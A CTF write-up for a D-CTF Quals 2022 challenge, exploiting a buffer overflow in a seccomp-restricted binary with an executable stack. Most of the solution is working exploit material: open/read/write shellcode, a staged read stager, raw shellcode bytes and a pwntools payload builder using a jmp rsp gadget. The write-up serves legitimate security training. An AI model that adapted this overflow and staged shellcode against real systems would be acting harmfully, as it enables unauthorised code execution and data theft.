Details

The challenge was given to the D-CTF Quals 2022.

Description

Security is not just patching, sometimes we have to use all means to protect ourselves. Do you think you can overcome all the protections in place?

Flag Format: CTF{sha256}

Overview

There was one binary file provided and an IP to a server running it.

The binary is vulnerable to buffer overflow but is restricted to the syscalls it can make.

Solution

Decompiling the given executable using Ghidra we can see that the program reads more data (max 56 chars) from the user than it should (max 32 chars). The seccomp function calls some system functions to limit the available syscalls that we can make. Also, we can see that the input string has to start with “done” otherwise it will not reach the return instruction.

Decompiled view

Running the binary with strace we can see the allowed syscalls Strace output

Those are open, read, write, exit. Making an educated guess from the previous pwn challenges, I tried to open, read and write the contents of “flag.txt”.

Checking the protections on the binary we can see that the stack is executable

Checksec output

We can also find a gadget that jumps to RSP, giving us direct control

ROPgadget output

First, we need a shellcode that opens, reads and writes the contents of “flag.txt” file

mov rax, 2 ; Open  
lea rdi, [rsp-1000] ; File name  
xor rsi, rsi ; O_RDONLY  
syscall  
mov rdi, rax ; Move file descriptor  
xor rax,rax ; = 0 Read  
lea rsi, [rsp-1200] ; Buffer  
mov rdx, 100 ; Count  
syscall  
mov rax, 1 ; Write  
mov rdi, 1 ; STDOUT  
lea rsi, [rsp-1200] ; Buffer  
mov rdx, 100 ; Count  
syscall

This also needs a reference to the string “flag.txt”. The shellcode doesn’t fit in the buffer after the ESP pointer. For this we can jump before the pointer, at the start of the buffer

lea rax, [rsp-44]  
push rax  
ret

This doesn’t give us enough space for the shellcode. For this I used the read syscall to send more shellcode and not be limited by the buffer size.

xor     rax, rax ; = 0 Read  
xor     rdi, rdi ; STDIN  
lea     rsi, [rsp - 1000] ; Buffer  
mov     rdx, 100 ; Count  
syscall  
add     rsi, 0x10 ; Jump a bit forward from the buffer to avoid “flag.txt”  
push    rsi  
ret

This creates a buffer of 100 bytes that can be read from the user and then jumps at that address with a small offset. This offset is where we put the file name (NULL terminated string) and some NOP instructions as padding. After creating the payload we just send it and get the flag.

from pwn import *  
  
jmp_rsp = 0x0000000000400882  
  
shellcode = b"\x48\x31\xC0\x48\x31\xFF\x48\x8D\xB4\x24\x18\xFC\xFF\xFF\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\x83\xC6\x10\x56\xC3"  
shellcode2 = b"flag.txt\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\xC7\xC0\x02\x00\x00\x00\x48\x8D\xBC\x24\x18\xFC\xFF\xFF\x48\x31\xF6\x0F\x05\x48\x89\xC7\x48\x31\xC0\x48\x8D\xB4\x24\x50\xFB\xFF\xFF\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\x8D\xB4\x24\x50\xFB\xFF\xFF\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05"  
  
jump_back = b"\x48\x8D\x44\x24\xD4\x50\xC3"  
  
payload = b"done" + shellcode + b'\x90'*(36-len(shellcode)) + p64(jmp_rsp) + jump_back  
  
payload = payload + b'A' * (0x38-len(payload))  
payload += shellcode2  
  
open("payload","wb").write(payload)

Visualization

Visualization